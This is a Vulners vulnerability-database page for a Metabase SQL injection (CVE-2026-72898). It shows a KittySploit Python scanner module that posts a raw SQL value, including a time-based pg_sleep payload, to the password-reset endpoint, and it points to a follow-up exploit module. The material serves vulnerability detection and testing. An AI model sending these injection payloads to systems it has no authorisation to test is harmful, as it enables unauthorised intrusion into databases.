Lucene search
+L

Metabase CVE-2026-72898 SQLi Detect

🗓️ 26 Oct 2026 17:01:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 10 Views

SQL injection in Metabase /api/session/reset_password via user-id raw parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
12 Oct 202600:18
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
27 Aug 202606:51
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
26 Aug 202617:45
–githubexploit
githubexploit
GithubExploit
metabase-sql-poc
28 Aug 202612:16
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-72898
12 Aug 202613:54
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
14 Sep 202609:54
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
13 Aug 202621:08
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
15 Aug 202609:06
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Metabase
13 Oct 202609:10
–githubexploit
attackerkb
attackerkb
CVE-2026-72898
10 Aug 202617:55
–attackerkb
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Metabase CVE-2026-72898 reset_password SQLi detection."""

from __future__ import annotations

import json
import re
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        "name": "Metabase CVE-2026-72898 SQLi Detect",
        "description": (
            "Probes POST /api/session/reset_password for undeclared user-id {:raw} "
            "acceptance and optional pg_sleep timing oracle."
        ),
        "author": ["KittySploit Team"],
        "severity": "critical",
        "cve": ["CVE-2026-72898"],
        "tags": ["web", "scanner", "metabase", "sqli", "cve-2026-72898"],
        "references": ["https://nvd.nist.gov/vuln/detail/CVE-2026-72898"],
        "agent": {
            "risk": "active",
            "effects": ["network_probe"],
            "expected_requests": 3,
            "reversible": True,
            "approval_required": False,
            "produces": ["tech_hints", "risk_signals"],
            "chain": {
                "suggested_followups": ["exploits/multi/http/metabase_cve_2026_72898_sqli"],
            },
        },
    }

    sqli_delay = OptInt(3, "pg_sleep seconds for timing check", required=False, advanced=True)

    def _post(self, raw_sql: str) -> tuple[int, str, float]:
        payload = {"token": "x", "password": "x", "user-id": {"raw": raw_sql}}
        start = time.time()
        r = self.http_request(
            "POST",
            "/api/session/reset_password",
            data=json.dumps(payload),
            headers={"Content-Type": "application/json"},
        )
        elapsed = time.time() - start
        body = (r.text or "") if r else ""
        return int(r.status_code or 0) if r else 0, body, elapsed

    def run(self):
        _, body, base = self._post("1")
        if "disallowed key" in body.lower():
            return False
        delay = int(self.sqli_delay or 3)
        _, _, slow = self._post(f"(SELECT 1 FROM pg_sleep({delay}))")
        if slow > base + delay * 0.6:
            self.set_info(
                severity="critical",
                cve="CVE-2026-72898",
                reason="Time-based SQLi on reset_password",
                confidence="high",
            )
            return True
        if re.search(r"password|reset|user", body, re.I):
            self.set_info(
                severity="high",
                cve="CVE-2026-72898",
                reason="user-id raw key accepted (confirm with exploit; may be non-PostgreSQL)",
                confidence="medium",
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2026 17:01Current
8.9High risk
Vulners AI Score8.9
CVSS 410
CVSS 3.110
EPSS0.98552
SSVC
10